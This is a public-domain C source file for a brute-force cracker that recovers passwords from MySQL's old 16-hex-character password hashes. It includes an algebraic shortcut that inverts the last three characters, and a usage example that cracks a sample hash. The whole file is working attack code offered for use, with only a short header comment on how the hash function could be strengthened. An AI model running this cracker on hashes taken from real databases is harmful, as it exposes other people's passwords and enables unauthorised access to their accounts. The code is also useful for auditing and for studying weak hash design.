/*
* This is a high-speed brute-force password cracker for MySQL hashed
* passwords. It can break an 8-character password containing any
* printable ascii characters in a matter of hours on an ordinary PC.
*
* This program is public domain. Share and enjoy.
*
* Example:
*	$ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast
*	$ mysqlfast 6294b50f67eda209
*	Hash: 6294b50f67eda209
*	Trying length 3
*	Trying length 4
*	Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR	33
#define MAX_CHAR	126

/* Maximum length of password */
#define MAX_LEN	12

#define MASK	0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
	int i, c;
	u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
	u32 newstate1, newstate2, newstate3;
	u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
	u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
	i = -1;
	sum = 7;
	state1_ary[0] = 1345345333L;
	state2_ary[0] = 0x12345671L;

	while (1) {
		while (i < stop) {
			i++;
			pass_ary[i] = MIN_CHAR;
			step_ary[i] = (state1_ary[i] & 0x3f) + sum;
			xor_ary[i]  = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
			sum += MIN_CHAR;
			state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
			state2_ary[i+1] = state2_ary[i]
				+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
		}

		state1 = state1_ary[i+1];
		state2 = state2_ary[i+1];
		step = (state1 & 0x3f) + sum;
		xor1 = step*MIN_CHAR + (state1 << 8);
		xor2 = (state2 << 8) ^ state1;

		for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
			newstate2 = state2 + (xor1 ^ xor2);
			newstate1 = state1 ^ xor1;

			newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
			div  = (newstate1 & 0x3f) + sum + c;
			diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
			if (diff % div != 0) continue;
			d = diff / div;
			if (d < MIN_CHAR || d > MAX_CHAR) continue;

			div  = (newstate3 & 0x3f) + sum + c + d;
			diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
			if (diff % div != 0) continue;
			e = diff / div;
			if (e < MIN_CHAR || e > MAX_CHAR) continue;

			pass_ary[i+1] = c;
			pass_ary[i+2] = d;
			pass_ary[i+3] = e;
			return 1;
		}

		while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
			sum -= MAX_CHAR;
			i--;
		}
		if (i < 0) break;
		pass_ary[i]++;
		xor_ary[i] += step_ary[i];
		sum++;
		state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
		state2_ary[i+1] = state2_ary[i]
			+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
	}

	return 0;
}

void crack(char *hash)
{
	int i, len;
	u32 targ1, targ2, targ3;
	int pass[MAX_LEN];

	if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
		printf("Invalid password hash: %s\n", hash);
		return;
	}
	printf("Hash: %08lx%08lx\n", targ1, targ2);
	targ3 = targ2 - targ1;
	targ3 = targ2 - ((targ3 << 8) ^ targ1);
	targ3 = targ2 - ((targ3 << 8) ^ targ1);
	targ3 = targ2 - ((targ3 << 8) ^ targ1);

	for (len = 3; len <= MAX_LEN; len++) {
		printf("Trying length %d\n", len);
		if ( crack0(len-4, targ1, targ3, pass) ) {
			printf("Found pass: ");
			for (i = 0; i < len; i++)
				putchar(pass[i]);
			putchar('\n');
			break;
		}
	}
	if (len > MAX_LEN)
		printf("Pass not found\n");
}

int main(int argc, char *argv[])
{
	int i;
	if (argc <= 1)
		printf("usage: %s hash\n", argv[0]);
	for (i = 1; i < argc; i++)
		crack(argv[i]);
	return 0;
}